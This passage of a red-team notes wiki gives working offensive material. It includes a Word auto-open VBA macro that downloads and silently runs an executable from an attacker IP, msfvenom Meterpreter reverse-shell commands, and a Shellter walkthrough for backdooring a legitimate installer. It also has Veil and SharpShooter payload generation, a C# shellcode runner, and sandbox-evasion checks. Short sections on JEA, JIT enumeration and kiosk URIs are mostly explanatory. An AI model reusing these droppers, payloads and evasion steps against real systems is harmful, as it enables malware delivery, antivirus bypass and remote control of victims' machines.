The provided VBA code automatically downloads an executable from a specified IP address when a document is opened and then runs it after a 2-second delay.&lt;br /&gt;
Sub Document_Open()&lt;br /&gt;
 MyMacro&lt;br /&gt;
End Sub&lt;br /&gt;
Sub AutoOpen()&lt;br /&gt;
 MyMacro&lt;br /&gt;
End Sub&lt;br /&gt;
Sub MyMacro()&lt;br /&gt;
 Dim str As String&lt;br /&gt;
 str = &amp;quot;powershell (New-Object&lt;br /&gt;
System.Net.WebClient).DownloadFile(&#039;http://192.168.119.120/msfstaged.exe&#039;,&lt;br /&gt;
&#039;msfstaged.exe&#039;)&amp;quot;&lt;br /&gt;
 Shell str, vbHide&lt;br /&gt;
 Dim exePath As String&lt;br /&gt;
 exePath = ActiveDocument.Path + &amp;quot;\msfstaged.exe&amp;quot;&lt;br /&gt;
 Wait (2)&lt;br /&gt;
 Shell exePath, vbHide&lt;br /&gt;
End Sub&lt;br /&gt;
Sub Wait(n As Long)&lt;br /&gt;
 Dim t As Date&lt;br /&gt;
 t = Now&lt;br /&gt;
 Do&lt;br /&gt;
 DoEvents&lt;br /&gt;
 Loop Until Now &amp;gt;= DateAdd(&amp;quot;s&amp;quot;, n, t)&lt;br /&gt;
End Sub&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== EXE to DLL ==&lt;br /&gt;
&lt;br /&gt;
[https://github.com/hasherezade/exe_to_dll hasherezade/exe_to_dll: Converts a EXE into DLL (github.com)]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
#Usage&lt;br /&gt;
#Run exe_to_dll from commandline. Arguments:&lt;br /&gt;
args:&lt;br /&gt;
# Example:&lt;br /&gt;
exe_to_dll.exe test_case1.exe test_case1.dll&lt;br /&gt;
# After the successful conversion you should obtain a DLL exporting a Start function. This is the Original Entry Point of your input application.&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Evasion techniques ==&lt;br /&gt;
&lt;br /&gt;
[https://book.ghanim.no/?p=2698 AV Evasion 101: Essential Techniques and Concepts – BOOK_GHANIM]&lt;br /&gt;
&lt;br /&gt;
[https://evasions.checkpoint.com/?utm_source=pocket_saves Evasion techniques (checkpoint.com)]&lt;br /&gt;
&lt;br /&gt;
=== Hypervisor check ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Runtime.InteropServices;&lt;br /&gt;
class Program&lt;br /&gt;
{&lt;br /&gt;
    [DllImport(&amp;quot;hypervisor_check.dll&amp;quot;, CallingConvention = CallingConvention.Cdecl)]&lt;br /&gt;
    public static extern bool is_run_in_hypervisor();&lt;br /&gt;
    static void Main()&lt;br /&gt;
    {&lt;br /&gt;
        bool inHypervisor = is_run_in_hypervisor();&lt;br /&gt;
        Console.WriteLine(inHypervisor ? &amp;quot;Running in a hypervisor!&amp;quot; : &amp;quot;Not running in a hypervisor.&amp;quot;);&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Sleep function ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
// Import dll&lt;br /&gt;
[DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
        static extern void Sleep(uint dwMilliseconds);&lt;br /&gt;
// In main&lt;br /&gt;
DateTime t1 = DateTime.Now;&lt;br /&gt;
Sleep(5000);&lt;br /&gt;
double t2 = DateTime.Now.Subtract(t1).TotalSeconds;&lt;br /&gt;
if (t2 &amp;lt; 1.5)&lt;br /&gt;
   {&lt;br /&gt;
       return;&lt;br /&gt;
    }&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Frida - Hooking ==&lt;br /&gt;
&lt;br /&gt;
== Initial Access - All-around tools ==&lt;br /&gt;
&lt;br /&gt;
There are several tools that help pack a payload that bypasses AV. Depending on your C2 framework, most of shellcode generated is burned already. Some of these tools can help evade detection.&lt;br /&gt;
&lt;br /&gt;
AV bypass can be tedious and some of these tools might help.&lt;br /&gt;
&lt;br /&gt;
=== Theory ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# On-Disk Evasion&lt;br /&gt;
- Packers&lt;br /&gt;
- Obfuscator&lt;br /&gt;
- Crypters&lt;br /&gt;
- Software protectors&lt;br /&gt;
# In-memory Evasion&lt;br /&gt;
- Remote Process Memory Injection&lt;br /&gt;
- Reflective DLL Injection&lt;br /&gt;
- Process Hollowing&lt;br /&gt;
- Inline hooking&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== BallisKit - MacroPack ===&lt;br /&gt;
&lt;br /&gt;
[https://www.balliskit.com/ BallisKit]&lt;br /&gt;
&lt;br /&gt;
MacroPack Pro is a Swiss-army knife for initial vector generation. It helps Red Teams automate, weaponize and deliver payloads while offering robust defense bypass techniques.&lt;br /&gt;
&lt;br /&gt;
MacroPack Pro supports the latest trend in payload generation such as LNK, URL, ClickOnce, HTML smuggling. It can be used to generate or trojan classic Office formats (Word, Excel, PowerPoint, Publisher, OneNote, Visio, MS Project). If you are looking at Office alternatives, use MacroPack to generate scripts such as HTA, WSF, SCT, VBS, MSI, etc.&lt;br /&gt;
&lt;br /&gt;
MacroPack Pro is compatible with common offensive frameworks and tools such as Sliver, Cobalt Strike, Mythic, Empire, among others.&lt;br /&gt;
&lt;br /&gt;
[[File:2023-12-image-1.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
The free version of MacroPack is available here, though it won&#039;t be as good as bypassing AV.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
https://github.com/sevagas/macro_pack&lt;br /&gt;
# Must be installed from Windows machine&lt;br /&gt;
# Some example commands from github. All other commands are available on Github&lt;br /&gt;
# Obfuscate the vba file generated by msfvenom and puts result in a new VBA file.&lt;br /&gt;
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.0.5 -f vba | macro_pack.exe -o -G meterobf.vba&lt;br /&gt;
# List all supported file formats&lt;br /&gt;
macro_pack.exe --listformats&lt;br /&gt;
# List all available templates&lt;br /&gt;
macro_pack.exe --listtemplates&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== mgeeky&#039;s tools ====&lt;br /&gt;
&lt;br /&gt;
Mgeeky have created some very great tools, some free, some cost money and require sponsoring on GitHub.&lt;br /&gt;
&lt;br /&gt;
[https://github.com/sponsors/mgeeky Sponsor @mgeeky on GitHub Sponsors]&lt;br /&gt;
&lt;br /&gt;
[https://binary-offensive.com/software binary-offensive | Offensive IT Security]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
Some of my private repositories shared with my Sponsors include:&lt;br /&gt;
MSISnatcher - MSI backdooring companion&lt;br /&gt;
Polonium - AV/EDR benchmarking tool, advanced shellcode loader&lt;br /&gt;
Bloated-EXE-in-LNK&lt;br /&gt;
SharpPRT - PRT extraction helper&lt;br /&gt;
cobalt-initial-opsec - headless agressor script&lt;br /&gt;
BOF.NET - (my fork) stealthily run .NET assemblies in-process&lt;br /&gt;
Carbuncle - (my fork) All you ever wanted from Outlook during RT&lt;br /&gt;
azure-functions-redirector&lt;br /&gt;
digitalocean-app-redirector&lt;br /&gt;
MyStayKit&lt;br /&gt;
Anonymize_CS_Logs&lt;br /&gt;
mgeeky-gists&lt;br /&gt;
and more..&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Shellter ===&lt;br /&gt;
&lt;br /&gt;
 Shellter is a dynamic shellcode injection tool and one of the most popular free tools capable of bypassing antivirus software.&lt;br /&gt;
&lt;br /&gt;
 It uses a number of novel and advanced techniques to essentially backdoor a valid and non-malicious executable file with a malicious shellcode payload.&lt;br /&gt;
&lt;br /&gt;
The free version only works for x86, not x64.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Install&lt;br /&gt;
sudo apt install shellter&lt;br /&gt;
apt install wine&lt;br /&gt;
# If error&lt;br /&gt;
dpkg --add-architecture i386 &amp;amp;&amp;amp; apt-get update &amp;amp;&amp;amp;&lt;br /&gt;
apt-get install wine32:i386&lt;br /&gt;
# Start&lt;br /&gt;
shellter&lt;br /&gt;
# Download a valid .exe file, ex spotify installer and load it into shellter.&lt;br /&gt;
/home/aghanim/downloads/SpotifySetup.exe&lt;br /&gt;
# Choose a payload from the list.&lt;br /&gt;
L&lt;br /&gt;
1&lt;br /&gt;
SET LHOST: IP&lt;br /&gt;
SET LPORT: PORT&lt;br /&gt;
# After shellter finishes injecting shellcode in the binary, transfer it to target and execute. You&#039;ll get a shell back but it will die when the installer is finished and the process is closed. To bypass this, we can use meterpreter &amp;quot;migrate&amp;quot;.&lt;br /&gt;
set AutoRunScript post/windows/manage/migrate&lt;br /&gt;
-----------------------&lt;br /&gt;
# You can also set custom payload&lt;br /&gt;
# First generate a binary file with msfvenom. -e is the encoding we&#039;re using, and -i is the number of iterations. (The number of times to encode the payload)&lt;br /&gt;
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.11.0.4 LPORT=80 -e x86/shikata_ga_nai -i 7 -f raw &amp;gt; met.bin&lt;br /&gt;
# Start shellter&lt;br /&gt;
Choose Operation Mode - Auto/Manual (A/M/H): A&lt;br /&gt;
PE Target: /home/kali/poultry/whoami.exe&lt;br /&gt;
**********&lt;br /&gt;
* Backup *&lt;br /&gt;
**********&lt;br /&gt;
Backup: Shellter_Backups\whoami.exe&lt;br /&gt;
...&lt;br /&gt;
Filtering Time Approx: 0.0024 mins.&lt;br /&gt;
Enable Stealth Mode? (Y/N/H): N&lt;br /&gt;
************&lt;br /&gt;
* Payloads *&lt;br /&gt;
************&lt;br /&gt;
[1] Meterpreter_Reverse_TCP   [stager]&lt;br /&gt;
[2] Meterpreter_Reverse_HTTP  [stager]&lt;br /&gt;
[3] Meterpreter_Reverse_HTTPS [stager]&lt;br /&gt;
[4] Meterpreter_Bind_TCP      [stager]&lt;br /&gt;
[5] Shell_Reverse_TCP         [stager]&lt;br /&gt;
[6] Shell_Bind_TCP            [stager]&lt;br /&gt;
[7] WinExec&lt;br /&gt;
Use a listed payload or custom? (L/C/H): C&lt;br /&gt;
Select Payload: /home/kali/poultry/met.bin&lt;br /&gt;
Is this payload a reflective DLL loader? (Y/N/H): N&lt;br /&gt;
****************&lt;br /&gt;
* Payload Info *&lt;br /&gt;
****************&lt;br /&gt;
...&lt;br /&gt;
Injection: Verified!&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[File:2022-10-image-1.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
[[File:2022-10-image-2.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
=== Veil Framework ===&lt;br /&gt;
&lt;br /&gt;
Veil is a tool designed to generate metasploit payloads that bypass common anti-virus solutions. It replaces the package veil-evasion.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Install&lt;br /&gt;
# https://github.com/Veil-Framework/Veil&lt;br /&gt;
apt -y install veil&lt;br /&gt;
/usr/share/veil/config/setup.sh --force --silent&lt;br /&gt;
# If error with (wine) python pip peefile version fix with this&lt;br /&gt;
vim /usr/share/veil/config/setup.sh&lt;br /&gt;
Change line 587 to:&lt;br /&gt;
sudo -u &amp;quot;${trueuser}&amp;quot; WINEPREFIX=&amp;quot;${winedir}&amp;quot; wine &amp;quot;${winedir}/drive_c/Python34/python.exe&amp;quot; &amp;quot;-m&amp;quot; &amp;quot;pip&amp;quot; &amp;quot;install&amp;quot; &amp;quot;-Iv&amp;quot; &amp;quot;pefile==2019.4.18&amp;quot;&lt;br /&gt;
Then, run # veil --setup again.&lt;br /&gt;
&lt;br /&gt;
# Start veil&lt;br /&gt;
veil&lt;br /&gt;
# or&lt;br /&gt;
/usr/share/veil/Veil.py&lt;br /&gt;
# Available Commands:&lt;br /&gt;
        exit                    Completely exit Veil&lt;br /&gt;
        info                    Information on a specific tool&lt;br /&gt;
        list                    List available tools&lt;br /&gt;
        options                 Show Veil configuration&lt;br /&gt;
        update                  Update Veil&lt;br /&gt;
        use                     Use a specific tool&lt;br /&gt;
&lt;br /&gt;
# Generate a powershell script (bat file) for evasion&lt;br /&gt;
veil &amp;gt; use evasion&lt;br /&gt;
# List payloads&lt;br /&gt;
veil &amp;gt; list&lt;br /&gt;
# Use powershell rev tcp payload&lt;br /&gt;
veil/evasion &amp;gt; use powershell/meterpreter/rev_tcp.py&lt;br /&gt;
# List options&lt;br /&gt;
[powershell/meterpreter/rev_tcp&amp;gt;&amp;gt;]: options&lt;br /&gt;
# Generate payload&lt;br /&gt;
[powershell/meterpreter/rev_tcp&amp;gt;&amp;gt;]: generate&lt;br /&gt;
&lt;br /&gt;
# From pic below, payload is in /var/lib/veil/output/source/ folder&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[File:2022-10-image-3.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
=== Ebowla ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
https://github.com/Genetic-Malware/Ebowla&lt;br /&gt;
# Use it to obfuscate payloads like JuicyPotato or other exploits.&lt;br /&gt;
# Quick demo&lt;br /&gt;
https://www.youtube.com/watch?v=rRm3O7w5GHg&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Just Enought Administration (JEA) ==&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;JEA Purpose&#039;&#039;&#039;: Provides specific users/groups just enough permissions to execute their tasks without compromising security.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;JEA Function&#039;&#039;&#039;: Allows delegated administration via PowerShell. Applicable to both servers and clients.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;JEA Benefits&#039;&#039;&#039;:&lt;br /&gt;
Reduces the number of administrators.&lt;br /&gt;
&lt;br /&gt;
* Limits administrator capabilities.&lt;br /&gt;
&lt;br /&gt;
* Provides logging to monitor actions of JEA enabled users.&lt;br /&gt;
&lt;br /&gt;
* JEA sessions typically run in RestrictedRemoteServer mode, with limited commands.&lt;br /&gt;
&lt;br /&gt;
* Files and commands executed in a JEA session might run with administrative privileges.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Session Configuration File is a file that has the .pssc extension. The below listing shows a default file created with the New-PSSessionConfigurationFile command in PowerShell.&lt;br /&gt;
## Default PSSession Configuration file&lt;br /&gt;
1 @{&lt;br /&gt;
2&lt;br /&gt;
3 # Version number of the schema used for this document&lt;br /&gt;
4 SchemaVersion = &#039;2.0.0.0&#039;&lt;br /&gt;
5&lt;br /&gt;
6 # ID used to uniquely identify this document&lt;br /&gt;
7 GUID = &#039;e4f7e55c-57dc-41b2-bab0-ae4bb209fbe9&#039;&lt;br /&gt;
8&lt;br /&gt;
9 # Author of this document&lt;br /&gt;
10 Author = &#039;administrator&#039;&lt;br /&gt;
11&lt;br /&gt;
12 # Description of the functionality provided by these settings&lt;br /&gt;
13 # Description = &#039;&#039;&lt;br /&gt;
14&lt;br /&gt;
15 # Session type defaults to apply for this session configuration. Can be &#039;RestrictedRemoteServer&#039; (recommended), &#039;Empty&#039;, or 16 &#039;Default&#039;&lt;br /&gt;
16 SessionType = &#039;Default&#039;&lt;br /&gt;
17&lt;br /&gt;
18 # Directory to place session transcripts for this session configuration&lt;br /&gt;
19 # TranscriptDirectory = &#039;C:\Transcripts\&#039;&lt;br /&gt;
20&lt;br /&gt;
21 # Whether to run this session configuration as the machine&#039;s (virtual) administrator account&lt;br /&gt;
22 # RunAsVirtualAccount = $true&lt;br /&gt;
23&lt;br /&gt;
24 # Scripts to run when applied to a session&lt;br /&gt;
25 # ScriptsToProcess = &#039;C:\ConfigData\InitScript1.ps1&#039;, &#039;C:\ConfigData\InitScript2.ps1&#039;&lt;br /&gt;
26&lt;br /&gt;
27 # User roles (security groups), and the role capabilities that should be applied to them when applied to a session&lt;br /&gt;
28 # RoleDefinitions = @{ &#039;CONTOSO\SqlAdmins&#039; = @{ RoleCapabilities = &#039;SqlAdministration&#039; }; &#039;CONTOSO\SqlManaged&#039; = @{ RoleCapabilityFiles = &#039;C:\RoleCapability\SqlManaged.psrc&#039; }; 29 &#039;CONTOSO\ServerMonitors&#039; = @{ VisibleCmdlets = &#039;Get-Process&#039; } }&lt;br /&gt;
29&lt;br /&gt;
30 }&lt;br /&gt;
&lt;br /&gt;
# Enumerate commands. The command below will tell you what kind of commands you&#039;re allowed to run.&lt;br /&gt;
Get-Command&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Just-In-Time Access (JIT) ==&lt;br /&gt;
&lt;br /&gt;
* JIT is a security feature that provides temporary, limited administrative access to resources. Reduces the risk associated with permanent administrative privileges.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Use Case&#039;&#039;&#039;:&lt;br /&gt;
User needs to log in and perform maintenance requiring administrative privileges.&lt;br /&gt;
&lt;br /&gt;
* Instead of giving permanent access, JIT allows for temporary administrative access.&lt;br /&gt;
&lt;br /&gt;
* After the set duration, access is automatically revoked.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Integration&#039;&#039;&#039;:&lt;br /&gt;
Active Directory + JIT = Needs Privileged Access Management Feature (PAM) to be enabled.&lt;br /&gt;
&lt;br /&gt;
* PAM writes specific attributes that can be enumerated.&lt;br /&gt;
&lt;br /&gt;
* Once PAM is enabled in AD, it can&#039;t be disabled.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Explotation usually requires approval from another user.&lt;br /&gt;
# Lets say I request access to a file server through the PAM. Unless there is an automatic approval, a user have to log in and accept my access.&lt;br /&gt;
# Thats why this is harder to enumerate and exploit, and is usually done in the later stages of an engagement.&lt;br /&gt;
# Enumerate&lt;br /&gt;
## First import the dll to memory&lt;br /&gt;
Import-Module Microsoft.ActiveDirectory.Management&lt;br /&gt;
# Then you can enumerate the Get-commands&lt;br /&gt;
Get-Command -Module Microsoft.ActiveDirectory.Management | Where-Object { $_.Name -like &amp;quot;Get-*&amp;quot; }&lt;br /&gt;
# Example output of PAM being enabled on AD.&lt;br /&gt;
Get-ADOptionalFeature -Filter *&lt;br /&gt;
...&lt;br /&gt;
FeatureGUID        :&lt;br /&gt;
RequiredDomainMode :&lt;br /&gt;
RequiredForestMode : Windows2016Forest&lt;br /&gt;
IsDisableable      : False&lt;br /&gt;
FeatureScope       : {ForestOrConfigurationSet}&lt;br /&gt;
DistinguishedName  : CN=Privileged Access Management Feature,CN=Optional Features,CN=Directory Service,CN=Windows NT,CN=Services,CN=Configuration,DC=corp,DC=com&lt;br /&gt;
Name               : Privileged Access Management Feature&lt;br /&gt;
ObjectClass        : msDS-OptionalFeature&lt;br /&gt;
ObjectGuid         :&lt;br /&gt;
PropertyNames      : {DistinguishedName, EnabledScopes, FeatureGUID, FeatureScope...}&lt;br /&gt;
AddedProperties    : {}&lt;br /&gt;
RemovedProperties  : {}&lt;br /&gt;
ModifiedProperties : {}&lt;br /&gt;
PropertyCount      : 10&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== JScript ==&lt;br /&gt;
&lt;br /&gt;
JScript is a scripting language used to make websites and Windows programs interactive and dynamic. It&#039;s similar to JavaScript.&lt;br /&gt;
&lt;br /&gt;
[https://en.wikipedia.org/wiki/JScript JScript - Wikipedia]&lt;br /&gt;
&lt;br /&gt;
=== DotNetToJscript ===&lt;br /&gt;
&lt;br /&gt;
If you get &amp;quot;This tool should only be run on v2 of the CLR&amp;quot; while trying to run the binary, look at the forum below.&lt;br /&gt;
&lt;br /&gt;
[https://forums.offsec.com/showthread.php?46639-DotNetToJScript-compilation&amp;amp;highlight=tool+run+CLR DotNetToJScript compilation (offsec.com)]&lt;br /&gt;
&lt;br /&gt;
&amp;gt;&lt;br /&gt;
You could just comment off the code portion in Program.cs of DotNetToJScript project, where it checks the Environment.Version.Major != 2 and throws the error &amp;quot;This tool should only be run on v2 of the CLR&amp;quot;. The resulting .js file works just fine.&lt;br /&gt;
&lt;br /&gt;
[https://github.com/tyranid/DotNetToJScript https://github.com/tyranid/DotNetToJScript]&lt;br /&gt;
&lt;br /&gt;
* Download DotNetToJscript.&lt;br /&gt;
&lt;br /&gt;
* Open the .sln&lt;br /&gt;
&lt;br /&gt;
* Compile both DotNetToJscript and ExampleAssembly&lt;br /&gt;
&lt;br /&gt;
* Run the command below.&lt;br /&gt;
&lt;br /&gt;
* Open demo.js&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;javascript&amp;quot;&amp;gt;&lt;br /&gt;
DotNetToJScript.exe ExampleAssembly.dll --lang=Jscript --ver=v4 -o demo.js&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Testclass.cs&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# The below code is the ExampleAssembly.dll. You can change the code, but remember that the class-name and the public void name have to be the same in order for DotNetToJscript.exe to work.&lt;br /&gt;
using System;&lt;br /&gt;
using System.Diagnostics;&lt;br /&gt;
using System.Runtime.InteropServices;&lt;br /&gt;
using System.Windows.Forms;&lt;br /&gt;
[ComVisible(true)]&lt;br /&gt;
public class TestClass&lt;br /&gt;
{&lt;br /&gt;
    [DllImport(&amp;quot;kernel32.dll&amp;quot;, SetLastError = true, ExactSpelling = true)]&lt;br /&gt;
    static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize,&lt;br /&gt;
uint flAllocationType, uint flProtect);&lt;br /&gt;
    [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
    static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize,&lt;br /&gt;
    IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr&lt;br /&gt;
    lpThreadId);&lt;br /&gt;
    [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
    static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds);&lt;br /&gt;
    public TestClass()&lt;br /&gt;
    {&lt;br /&gt;
        byte[] buf = new byte[460] {0xfc,0x48,...};&lt;br /&gt;
        int size = buf.Length;&lt;br /&gt;
        IntPtr addr = VirtualAlloc(IntPtr.Zero, 0x1000, 0x3000, 0x40);&lt;br /&gt;
        Marshal.Copy(buf, 0, addr, size);&lt;br /&gt;
        IntPtr hThread = CreateThread(IntPtr.Zero, 0, addr, IntPtr.Zero, 0,&lt;br /&gt;
        IntPtr.Zero);&lt;br /&gt;
        WaitForSingleObject(hThread, 0xFFFFFFFF);&lt;br /&gt;
    }&lt;br /&gt;
    public void RunProcess(string path)&lt;br /&gt;
    {&lt;br /&gt;
        Process.Start(path);&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Then run this command after the above is compiled&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
.\DotNetToJScript.exe ExampleAssembly.dll --lang=Jscript --ver=v4 -o demo1.js&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== SharpShooter &amp;amp;SuperSharpsHooter ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
 https://github.com/mdsecactivebreach/SharpShooter.git&lt;br /&gt;
# Updated version&lt;br /&gt;
https://github.com/SYANiDE-/SuperSharpShooter&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
If you have problems with SharpShooter, try this. SharpShooter have to be run from the SharpShooter directory for it to load the correct templates!&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
curl https://bootstrap.pypa.io/pip/2.7/get-pip.py --output get-pip.py&lt;br /&gt;
sudo python2 get-pip.py (sudo is neccesary)&lt;br /&gt;
sudo apt install python-setuptools&lt;br /&gt;
pip install jsmin==2.2.2 --ignore-installed&lt;br /&gt;
git clone https://github.com/mdsecactivebreach/SharpShooter.git&lt;br /&gt;
cd SharpShooter&lt;br /&gt;
python2 SharpShooter.py&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Generating a raw Meterpreter staged payload using msfvenom:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* Create the payload:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo msfvenom -p windows/x64/meterpreter/reverse_https LHOST=192.168.119.120 LPORT=443 -f raw -o /var/www/html/shell.txt&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Generating malicious Jscript file with SharpShooter:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* Invoke the SharpShooter tool with appropriate parameters:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
  sudo python SharpShooter.py --payload js --dotnetver 4 --stageless --rawscfile /var/www/html/shell.txt --output test&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;4. Notes:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;--payload js&amp;lt;/code&amp;gt;: This specifies a Jscript output format.&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;--dotnetver 4&amp;lt;/code&amp;gt;: Sets the targeted .NET framework version.&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;--stageless&amp;lt;/code&amp;gt;: Specifies in-memory execution of the Meterpreter shellcode. In SharpShooter, &amp;quot;stageless&amp;quot; refers to the method of transferring the entire Jscript payload.&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;--rawscfile&amp;lt;/code&amp;gt;: Specifies the file that contains our shellcode.&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;--output&amp;lt;/code&amp;gt;: Sets the output file name (excluding the file extension).&lt;br /&gt;
&lt;br /&gt;
== Kiosk Breakout ==&lt;br /&gt;
&lt;br /&gt;
[https://book.hacktricks.xyz/hardware-physical-access/escaping-from-gui-applications Escaping from KIOSKs - HackTricks]&lt;br /&gt;
&lt;br /&gt;
=== URIs (Uniform Resource Identifiers) ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Used to access locally-stored pages and files.&lt;br /&gt;
file://&lt;br /&gt;
# Access to internal Chrome browser pages and settings.&lt;br /&gt;
chrome://&lt;br /&gt;
# File Transfer Protocol, used for transferring files over the Internet.&lt;br /&gt;
ftp://&lt;br /&gt;
# Used to open the default mail client and initiate composing an email.&lt;br /&gt;
mailto:&lt;br /&gt;
# SMB protocol, commonly used for local network file sharing.&lt;br /&gt;
smb://&lt;br /&gt;
# Embeds data like inline images directly into content.&lt;br /&gt;
data:&lt;br /&gt;
# Initiates a call using the designated telephone number.&lt;br /&gt;
tel:&lt;br /&gt;
# Executes JavaScript code from a URL or hyperlink.&lt;br /&gt;
javascript:&lt;br /&gt;
# Represents data formats like images or other binary data.&lt;br /&gt;
blob:&lt;br /&gt;
# Used by torrent clients to download files.&lt;br /&gt;
magnet:&lt;br /&gt;
# Starts an SSH session.&lt;br /&gt;
ssh:&lt;br /&gt;
# Real-Time Messaging Protocol for streaming content.&lt;br /&gt;
rtmp:&lt;br /&gt;
# Directory services protocol.&lt;br /&gt;
ldap:&lt;br /&gt;
# An older document retrieval protocol.&lt;br /&gt;
gopher:&lt;br /&gt;
# WebSockets for real-time communication.&lt;br /&gt;
ws:&lt;br /&gt;
# Secure WebSockets.&lt;br /&gt;
wss:&lt;br /&gt;
# Denotes the XMPP/Jabber messaging protocol.&lt;br /&gt;
xmpp:&lt;br /&gt;
# Accessing newsgroups.&lt;br /&gt;
news:&lt;br /&gt;
